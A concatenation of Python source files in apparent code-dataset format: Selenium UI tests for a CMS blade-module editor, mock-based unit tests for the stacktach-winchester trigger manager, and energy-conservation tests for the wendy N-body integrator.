SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
click_settings_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_TAB)
SeleniumActions.click_element(web_driver, click_settings_tab)
click_show_cta_button_two = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_CTA_TWO)
SeleniumActions.click_element(web_driver, click_show_cta_button_two)
web_element = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_BLADE_TITLE)
click_element_visibility = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_ELEMENT_VISIBILITY)
SeleniumActions.click_element(web_driver, click_element_visibility)
Tools.sleep(1)
SeleniumActions.element_is_not_visible(web_element)
click_element_visibility = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_ELEMENT_VISIBILITY)
SeleniumActions.click_element(web_driver, click_element_visibility)
Tools.sleep(1)
web_element = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SHOW_BLADE_TITLE)
try:
assert(SeleniumActions.element_is_visible(web_driver, web_element))
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18678385 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18678386(self):
test_case_number = "18678386"
web_driver = self.fetch_webdriver()
try:
web_element = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SWAP_MEDIA_TEXT)
click_blade_settings = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SETTINGS)
SeleniumActions.click_element(web_driver, click_blade_settings)
Tools.sleep(1)
SeleniumActions.element_is_not_visible(web_element)
click_blade_settings = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SETTINGS)
SeleniumActions.click_element(web_driver, click_blade_settings)
Tools.sleep(1)
web_element = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SWAP_MEDIA_TEXT)
try:
assert(SeleniumActions.element_is_visible(web_driver, web_element))
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18678386 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18678387(self):
test_case_number = "18678387"
web_driver = self.fetch_webdriver()
try:
web_element = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_DESKTOP_MODULE)
click_module_visibility = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_MODULE_VISIBILITY)
SeleniumActions.click_element(web_driver, click_module_visibility)
Tools.sleep(1)
SeleniumActions.element_is_not_visible(web_element)
click_module_visibility = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_MODULE_VISIBILITY)
SeleniumActions.click_element(web_driver, click_module_visibility)
Tools.sleep(1)
web_element = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_DESKTOP_MODULE)
try:
assert(SeleniumActions.element_is_visible(web_driver, web_element))
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18678387 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18678393(self):
test_case_number = "18678393"
web_driver = self.fetch_webdriver()
try:
click_swap_setting = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SWAP_MEDIA_TEXT)
SeleniumActions.click_element(web_driver, click_swap_setting)
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
Tools.sleep(5)
web_driver.switch_to.frame(web_driver.find_element_by_xpath(MartindalePageData.MARTINDALE_IFRAME))
web_element = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_IFRAME_IMAGE_LEFT)
SeleniumActions.element_is_visible(web_driver, web_element)
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
click_settings_tab = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_TAB)
SeleniumActions.click_element(web_driver, click_settings_tab)
click_swap_setting = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_SETTINGS_SWAP_MEDIA_TEXT)
SeleniumActions.click_element(web_driver, click_swap_setting)
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
Tools.sleep(5)
web_driver.switch_to.frame(web_driver.find_element_by_xpath(MartindalePageData.MARTINDALE_IFRAME))
web_element = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_IFRAME_IMAGE_RIGHT)
try:
assert(SeleniumActions.element_is_visible(web_driver, web_element))
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18678393 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18527976(self):
test_case_number = "18527976"
web_driver = self.fetch_webdriver()
try:
click_blade_module = SeleniumActions.fetch_web_element(web_driver, MartindalePageData.MODULE)
SeleniumActions.click_element(web_driver, click_blade_module)
Tools.sleep(2)
click_edit_button = \
SeleniumActions.fetch_web_element(web_driver, MartindalePageData.IFRAME_EDIT_BUTTON)
SeleniumActions.click_element(web_driver, click_edit_button)
Tools.sleep(5)
web_driver.switch_to.default_content()
web_element = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_TITLE)
click_module_info = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_MODULE_INFORMATION)
SeleniumActions.click_element(web_driver, click_module_info)
SeleniumActions.element_is_not_visible(web_element)
click_module_info = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_MODULE_INFORMATION)
SeleniumActions.click_element(web_driver, click_module_info)
try:
assert(SeleniumActions.element_is_visible(web_driver, web_element))
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18527976 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18527977(self):
test_case_number = "18527977"
web_driver = self.fetch_webdriver()
try:
web_element = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_SELECT_FROM_GALLERY)
click_module_info = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_MANAGE_CONTENT)
SeleniumActions.click_element(web_driver, click_module_info)
Tools.sleep(2)
try:
SeleniumActions.element_is_not_visible(web_element)
test_one = "Passed"
except:
test_one = "Failed"
click_module_info = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_MANAGE_CONTENT)
SeleniumActions.click_element(web_driver, click_module_info)
Tools.sleep(2)
try:
SeleniumActions.element_is_not_visible(web_element)
test_two = "Passed"
except:
test_two = "Failed"
if test_one == "Passed" and test_two == "Passed":
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
else:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18527977 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18527978(self):
test_case_number = "18527978"
web_driver = self.fetch_webdriver()
try:
web_element = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_ONE_LINK_TEXT)
click_module_info = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_MANAGE_CTA_BUTTONS)
SeleniumActions.click_element(web_driver, click_module_info)
SeleniumActions.element_is_not_visible(web_element)
click_module_info = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_MANAGE_CTA_BUTTONS)
SeleniumActions.click_element(web_driver, click_module_info)
try:
assert(SeleniumActions.element_is_visible(web_driver, web_element))
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18527978 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18527998(self):
test_case_number = "18527998"
web_driver = self.fetch_webdriver()
try:
#CTA Button One
element_path = BladeModuleData.BLADE_CONTENT_CTA_ONE_LINK_TYPE
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
SeleniumActions.select_by_index(web_element, "0")
link_page_text = SeleniumActions.read_select_text(web_element)
link_page = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_ONE_LINK_PAGE)
SeleniumActions.element_is_visible(web_driver, web_element)
SeleniumActions.select_by_index(web_element, "1")
url_text = SeleniumActions.read_select_text(web_element)
url_text_box = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_ONE_URL)
SeleniumActions.element_is_visible(web_driver, web_element)
SeleniumActions.select_by_index(web_element, "2")
no_link = SeleniumActions.read_select_text(web_element)
SeleniumActions.element_is_not_visible(link_page)
SeleniumActions.element_is_not_visible(url_text_box)
#CTA Button Two
element_path = BladeModuleData.BLADE_CONTENT_CTA_TWO_LINK_TYPE
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
SeleniumActions.select_by_index(web_element, "0")
link_page_text_two = SeleniumActions.read_select_text(web_element)
link_page = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_TWO_LINK_PAGE)
SeleniumActions.element_is_visible(web_driver, web_element)
SeleniumActions.select_by_index(web_element, "1")
url_text_two = SeleniumActions.read_select_text(web_element)
url_text_box = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_TWO_URL)
SeleniumActions.element_is_visible(web_driver, web_element)
SeleniumActions.select_by_index(web_element, "2")
no_link_two = SeleniumActions.read_select_text(web_element)
SeleniumActions.element_is_not_visible(link_page)
SeleniumActions.element_is_not_visible(url_text_box)
try:
assert(link_page_text == "My Pages"
and url_text == "External Link" and no_link == "No Link" and link_page_text_two == "My Pages"
and url_text_two == "External Link" and no_link_two == "No Link")
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
test_case_number = "18527999"
try:
assert(link_page_text == "My Pages"
and url_text == "External Link" and no_link == "No Link" and link_page_text_two == "My Pages"
and url_text_two == "External Link" and no_link_two == "No Link")
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
except:
print("C18527999 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
def test_c18527993(self):
test_case_number = "18527993"
web_driver = self.fetch_webdriver()
try:
# CTA Button One
element_path = BladeModuleData.BLADE_CONTENT_CTA_ONE_LINK_TYPE
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
SeleniumActions.select_by_index(web_element, "1")
Tools.sleep(2)
url_text_clear = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_ONE_URL)
SeleniumActions.write_to_element(web_driver, url_text_clear, "blackvinyl45")
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
url_error_msg = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_ONE_URL_ERROR)
url_one_error_text = SeleniumActions.read_web_element_text(url_error_msg)
if url_one_error_text == "Please enter a valid URL.":
test_one = "Passed"
else:
test_one = "Failed"
url_text_clear = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_ONE_URL)
SeleniumActions.clearTextField(web_driver, url_text_clear)
SeleniumActions.write_to_element(web_driver, url_text_clear, "blackvinyl45.com")
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
url_error_msg = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_ONE_URL_ERROR)
url_one_error_text = SeleniumActions.read_web_element_text(url_error_msg)
if url_one_error_text == "Please enter a valid URL.":
test_two = "Passed"
else:
test_two = "Failed"
url_text_clear = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_ONE_URL)
SeleniumActions.clearTextField(web_driver, url_text_clear)
SeleniumActions.write_to_element(web_driver, url_text_clear, "http://www.blackvinyl45.com")
url_error_msg = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_ONE_URL_ERROR)
if SeleniumActions.element_is_visible(web_driver, url_error_msg):
test_three = "Failed"
else:
test_three = "Passed"
# CTA Button Two
element_path = BladeModuleData.BLADE_CONTENT_CTA_TWO_LINK_TYPE
web_element = SeleniumActions.find_by_xpath(web_driver, element_path)
SeleniumActions.select_by_index(web_element, "1")
Tools.sleep(2)
url_text_clear = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_TWO_URL)
SeleniumActions.write_to_element(web_driver, url_text_clear, "blackvinyl45")
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
url_error_msg = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_TWO_URL_ERROR)
url_one_error_text = SeleniumActions.read_web_element_text(url_error_msg)
if url_one_error_text == "Please enter a valid URL.":
test_four = "Passed"
else:
test_four = "Failed"
url_text_clear = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_TWO_URL)
SeleniumActions.clearTextField(web_driver, url_text_clear)
SeleniumActions.write_to_element(web_driver, url_text_clear, "blackvinyl45.com")
url_error_msg = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_TWO_URL_ERROR)
url_one_error_text = SeleniumActions.read_web_element_text(url_error_msg)
if url_one_error_text == "Please enter a valid URL.":
test_five = "Passed"
else:
test_five = "Failed"
url_text_clear = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_TWO_URL)
SeleniumActions.clearTextField(web_driver, url_text_clear)
SeleniumActions.write_to_element(web_driver, url_text_clear, "http://www.blackvinyl45.com")
click_done_button = SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_DONE_BUTTON)
SeleniumActions.click_element(web_driver, click_done_button)
url_error_msg = \
SeleniumActions.fetch_web_element(web_driver, BladeModuleData.BLADE_CONTENT_CTA_TWO_URL_ERROR)
if SeleniumActions.element_is_visible(web_driver, url_error_msg):
test_six = "Failed"
else:
test_six = "Passed"
try:
assert(test_one == "Passed" and test_two == "Passed" and test_three == "Passed"
and test_four == "Passed" and test_five == "Passed" and test_six == "Passed")
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().PASS, '')
except:
CommonSetup.report_test_rail(self, test_case_number, TestRailStatus().FAIL, '')
self.case_teardown()
except:
print("C18527993 Not Tested")
e = sys.exc_info()[0]
print("<p>Error: %s</p>" % e)
| 40.842248
| 141
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| 45,049
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| 40.842248
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py
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m4/models/ViT/feature_extractor.py
|
autoliuweijie/m3py
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a4c6209d7266cf226699f73bb6ebb52146856ac1
|
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"MIT"
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|
2021-07-22T04:58:53.000Z
|
m4/models/ViT/feature_extractor.py
|
autoliuweijie/m3py
|
a4c6209d7266cf226699f73bb6ebb52146856ac1
|
[
"MIT"
] | 2
|
2022-01-30T07:26:48.000Z
|
2022-03-16T10:04:06.000Z
|
m4/models/ViT/feature_extractor.py
|
autoliuweijie/m4
|
a4c6209d7266cf226699f73bb6ebb52146856ac1
|
[
"MIT"
] | null | null | null |
from transformers import ViTFeatureExtractor
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py
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Python
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tests/test_trigger_manager.py
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SandyWalsh/stacktach-winchester
|
ac49955386b695868945a28b6597fe72b3b657e6
|
[
"Apache-2.0"
] | null | null | null |
tests/test_trigger_manager.py
|
SandyWalsh/stacktach-winchester
|
ac49955386b695868945a28b6597fe72b3b657e6
|
[
"Apache-2.0"
] | null | null | null |
tests/test_trigger_manager.py
|
SandyWalsh/stacktach-winchester
|
ac49955386b695868945a28b6597fe72b3b657e6
|
[
"Apache-2.0"
] | null | null | null |
import unittest2 as unittest
import mock
import datetime
import timex
from winchester import db as winch_db
from winchester import debugging
from winchester import definition
from winchester import trigger_manager
class TestTriggerManager(unittest.TestCase):
def setUp(self):
super(TestTriggerManager, self).setUp()
self.debugger = debugging.NoOpDebugger()
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_save_event(self, mock_config_wrap):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
event = dict(message_id='1234-test-5678',
timestamp=datetime.datetime(2014,8,1,10,9,8,77777),
event_type='test.thing',
test_trait="foobar",
other_test_trait=42)
self.assertTrue(tm.save_event(event))
tm.db.create_event.assert_called_once_with('1234-test-5678', 'test.thing',
datetime.datetime(2014,8,1,10,9,8,77777),
dict(test_trait='foobar', other_test_trait=42))
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_save_event_dup(self, mock_config_wrap):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
tm.db.create_event.side_effect = winch_db.DuplicateError("test boom!")
event = dict(message_id='1234-test-5678',
timestamp=datetime.datetime(2014,8,1,10,9,8,77777),
event_type='test.thing',
test_trait="foobar",
other_test_trait=42)
self.assertFalse(tm.save_event(event))
tm.db.create_event.assert_called_once_with('1234-test-5678', 'test.thing',
datetime.datetime(2014,8,1,10,9,8,77777),
dict(test_trait='foobar', other_test_trait=42))
@mock.patch('winchester.trigger_manager.EventCondenser', autospec=True)
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_convert_notification(self, mock_config_wrap, mock_condenser):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
tm.distiller = mock.MagicMock(spec=tm.distiller)
test_event = "I'm a test event!"
tm.distiller.to_event.return_value = True
cond = mock_condenser.return_value
cond.validate.return_value = True
cond.get_event.return_value = test_event
tm.save_event = mock.MagicMock()
tm.save_event.return_value = True
res = tm.convert_notification('test notification here')
mock_condenser.assert_called_once_with(tm.db)
cond.clear.assert_called_once_with()
cond.validate.assert_called_once_with()
tm.distiller.to_event.assert_called_once_with('test notification here', cond)
self.assertEquals(res, test_event)
@mock.patch('winchester.trigger_manager.EventCondenser', autospec=True)
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_convert_notification_dropped(self, mock_config_wrap, mock_condenser):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
tm.distiller = mock.MagicMock(spec=tm.distiller)
test_event = "I'm a test event!"
tm.distiller.to_event.return_value = False
cond = mock_condenser.return_value
cond.validate.return_value = True
cond.get_event.return_value = test_event
tm.save_event = mock.MagicMock()
tm.save_event.return_value = True
test_notif = dict(event_type='test.notification.here', message_id='4242-4242')
res = tm.convert_notification(test_notif)
mock_condenser.assert_called_once_with(tm.db)
cond.clear.assert_called_once_with()
self.assertFalse(cond.validate.called)
tm.distiller.to_event.assert_called_once_with(test_notif, cond)
self.assertFalse(tm.save_event.called)
self.assertIsNone(res)
@mock.patch('winchester.trigger_manager.EventCondenser', autospec=True)
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_convert_notification_invalid(self, mock_config_wrap, mock_condenser):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
tm.distiller = mock.MagicMock(spec=tm.distiller)
test_event = "I'm a test event!"
tm.distiller.to_event.return_value = True
cond = mock_condenser.return_value
cond.validate.return_value = False
cond.get_event.return_value = test_event
tm.save_event = mock.MagicMock()
tm.save_event.return_value = True
test_notif = dict(event_type='test.notification.here', message_id='4242-4242')
res = tm.convert_notification(test_notif)
mock_condenser.assert_called_once_with(tm.db)
cond.clear.assert_called_once_with()
cond.validate.assert_called_once_with()
tm.distiller.to_event.assert_called_once_with(test_notif, cond)
self.assertFalse(tm.save_event.called)
self.assertIsNone(res)
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_add_or_create_stream(self, mock_config_wrap):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
tm.db.get_active_stream.return_value = 'Existing Stream'
tm.current_time = mock.MagicMock()
trigger_def = mock.MagicMock()
dist_traits = 'some traits'
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ret = tm._add_or_create_stream(trigger_def, event, dist_traits)
tm.db.get_active_stream.assert_called_once_with(trigger_def.name,
dist_traits, tm.current_time.return_value)
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tm.db.get_active_stream.return_value,
event, trigger_def.expiration)
self.assertEqual(ret, tm.db.get_active_stream.return_value)
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_add_or_create_stream_create(self, mock_config_wrap):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
tm.db.get_active_stream.return_value = None
tm.current_time = mock.MagicMock()
trigger_def = mock.MagicMock()
dist_traits = 'some traits'
event = "eventful!"
ret = tm._add_or_create_stream(trigger_def, event, dist_traits)
tm.db.get_active_stream.assert_called_once_with(trigger_def.name, dist_traits,
tm.current_time.return_value)
tm.db.create_stream.assert_called_once_with(trigger_def.name, event, dist_traits,
trigger_def.expiration)
self.assertFalse(tm.db.add_event_stream.called)
self.assertEqual(ret, tm.db.create_stream.return_value)
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_ready_to_fire(self, mock_config_wrap):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
tm.current_time = mock.MagicMock()
trigger_def = mock.MagicMock()
test_stream = mock.MagicMock()
tm._ready_to_fire(test_stream, trigger_def)
trigger_def.get_fire_timestamp.assert_called_once_with(tm.current_time.return_value)
tm.db.stream_ready_to_fire.assert_called_once_with(test_stream,
trigger_def.get_fire_timestamp.return_value)
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_add_notification(self, mock_config_wrap):
tm = trigger_manager.TriggerManager('test')
tm.convert_notification = mock.MagicMock()
tm.add_event = mock.MagicMock()
tm.add_notification("test notification")
tm.convert_notification.assert_called_once_with("test notification")
tm.add_event.assert_called_once_with(tm.convert_notification.return_value)
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_add_notification_invalid_or_dropped(self, mock_config_wrap):
tm = trigger_manager.TriggerManager('test')
tm.convert_notification = mock.MagicMock()
tm.add_event = mock.MagicMock()
tm.convert_notification.return_value = None
tm.add_notification("test notification")
tm.convert_notification.assert_called_once_with("test notification")
self.assertFalse(tm.add_event.called)
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_add_event(self, mock_config_wrap):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
tm.trigger_definitions = [mock.MagicMock() for n in range(3)]
for d in tm.trigger_definitions:
d.debugger = self.debugger
m_def = tm.trigger_definitions[2]
tm.trigger_definitions[0].match.return_value = None
tm.trigger_definitions[1].match.return_value = None
event = mock.MagicMock(name='event', spec=dict)
tm.save_event = mock.MagicMock()
tm._add_or_create_stream = mock.MagicMock()
tm._add_or_create_stream.return_value.fire_timestamp = None
tm._ready_to_fire = mock.MagicMock()
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tm.add_event(event)
tm.save_event.assert_called_once_with(event)
for td in tm.trigger_definitions:
td.match.assert_called_once_with(event)
m_def.get_distinguishing_traits.assert_called_once_with(event,
m_def.match.return_value)
tm._add_or_create_stream.assert_called_once_with(m_def, event,
m_def.get_distinguishing_traits.return_value)
tm.db.get_stream_events.assert_called_once_with(
tm._add_or_create_stream.return_value)
m_def.should_fire.assert_called_once_with(
tm.db.get_stream_events.return_value)
tm._ready_to_fire.assert_called_once_with(
tm._add_or_create_stream.return_value, m_def)
@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_add_event_on_ready_stream(self, mock_config_wrap):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
tm.trigger_definitions = [mock.MagicMock() for n in range(3)]
m_def = tm.trigger_definitions[2]
tm.trigger_definitions[0].match.return_value = None
tm.trigger_definitions[1].match.return_value = None
event = mock.MagicMock(name='event', spec=dict)
tm.save_event = mock.MagicMock()
tm._add_or_create_stream = mock.MagicMock()
tm._add_or_create_stream.return_value.fire_timestamp = "Fire!"
tm._ready_to_fire = mock.MagicMock()
m_def.should_fire.return_value = True
tm.add_event(event)
tm.save_event.assert_called_once_with(event)
for td in tm.trigger_definitions:
td.match.assert_called_once_with(event)
m_def.get_distinguishing_traits.assert_called_once_with(event,
m_def.match.return_value)
tm._add_or_create_stream.assert_called_once_with(m_def, event,
m_def.get_distinguishing_traits.return_value)
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@mock.patch.object(trigger_manager.ConfigManager, 'wrap')
def test_add_event_no_match(self, mock_config_wrap):
tm = trigger_manager.TriggerManager('test')
tm.db = mock.MagicMock(spec=tm.db)
tm.trigger_definitions = [mock.MagicMock() for n in range(3)]
tm.trigger_definitions[0].match.return_value = None
tm.trigger_definitions[1].match.return_value = None
tm.trigger_definitions[2].match.return_value = None
event = mock.MagicMock(name='event', spec=dict)
tm.save_event = mock.MagicMock()
tm._add_or_create_stream = mock.MagicMock()
tm._add_or_create_stream.return_value.fire_timestamp = "Fire!"
tm._ready_to_fire = mock.MagicMock()
tm.add_event(event)
tm.save_event.assert_called_once_with(event)
for td in tm.trigger_definitions:
td.match.assert_called_once_with(event)
for td in tm.trigger_definitions:
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"MIT"
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"MIT"
] | 6
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[
"MIT"
] | 6
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|
2019-04-28T17:54:56.000Z
|
# test_approx_external.py: some basic tests of the solution in the presence of an external force for the approximate algorithm
import numpy
import wendy
numpy.random.seed(2)
def test_energy_conservation():
# Test that energy is conserved for a simple problem
x= numpy.array([-1.1,0.1,1.3])
v= numpy.array([3.,2.,-5.])
m= numpy.array([1.,1.,1.])
# Use harmonic oscillator
omega= 1.1
ext_force= lambda x,t: -omega**2.*x
g= wendy.nbody(x,v,m,0.05,ext_force=ext_force,approx=True,nleap=100000)
E= wendy.energy(x,v,m,omega=omega)
cnt= 0
while cnt < 100:
tx,tv= next(g)
assert numpy.fabs(wendy.energy(tx,tv,m,omega=omega)-E)/E < 10.**-6., "Energy not conserved during approximate N-body integration with external harmonic potential"
cnt+= 1
return None
def test_energy_conservation_unequalmasses_wforceclass():
# Test that energy is conserved for a simple problem
x= numpy.array([-1.1,0.1,1.3])
v= numpy.array([3.,2.,-5.])
m= numpy.array([1.,2.,3.])
omega= 1.1
# Harmonic oscillator force as a class, which numba can't handle
class Eforce(object):
def __init__(self,omega):
self._omega2= omega**2.
def __call__(self,x,t):
return -self._omega2*x
ext_force= Eforce(omega)
g= wendy.nbody(x,v,m,0.05,ext_force=ext_force,approx=True,nleap=10000)
E= wendy.energy(x,v,m,omega=omega)
cnt= 0
while cnt < 100:
tx,tv= next(g)
assert numpy.fabs(wendy.energy(tx,tv,m,omega=omega)-E)/E < 10.**-5., "Energy not conserved during approximate N-body integration with external harmonic potential"
cnt+= 1
return None
def test_energy_conservation_sech2disk_manyparticles():
# Test that energy is conserved for a self-gravitating disk
N= 101
totmass= 1.
sigma= 1.
zh= 2.*sigma**2./totmass
x= numpy.arctanh(2.*numpy.random.uniform(size=N)-1)*zh
v= numpy.random.normal(size=N)*sigma
v-= numpy.mean(v) # stabilize
m= numpy.ones_like(x)/N*(1.+0.1*(2.*numpy.random.uniform(size=N)-1))
omega= 1.1
ext_force= lambda x,t: -omega**2.*x
g= wendy.nbody(x,v,m,0.05,ext_force=ext_force,approx=True,nleap=1000)
E= wendy.energy(x,v,m,omega=omega)
cnt= 0
while cnt < 100:
tx,tv= next(g)
assert numpy.fabs(wendy.energy(tx,tv,m,omega=omega)-E)/E < 10.**-6., "Energy not conserved during approximate N-body integration with external harmonic potential"
cnt+= 1
return None
def test_energy_conservation_sech2disk_manyparticles_wforceclass():
# Test that energy is conserved for a self-gravitating disk
N= 101
totmass= 1.
sigma= 1.
zh= 2.*sigma**2./totmass
x= numpy.arctanh(2.*numpy.random.uniform(size=N)-1)*zh
v= numpy.random.normal(size=N)*sigma
v-= numpy.mean(v) # stabilize
m= numpy.ones_like(x)/N*(1.+0.1*(2.*numpy.random.uniform(size=N)-1))
omega= 1.1
# Harmonic oscillator force as a class, which numba can't handle
class Eforce(object):
def __init__(self,omega):
self._omega2= omega**2.
def __call__(self,x,t):
return -self._omega2*x
ext_force= Eforce(omega)
g= wendy.nbody(x,v,m,0.05,ext_force=ext_force,approx=True,nleap=1000)
E= wendy.energy(x,v,m,omega=omega)
cnt= 0
while cnt < 100:
tx,tv= next(g)
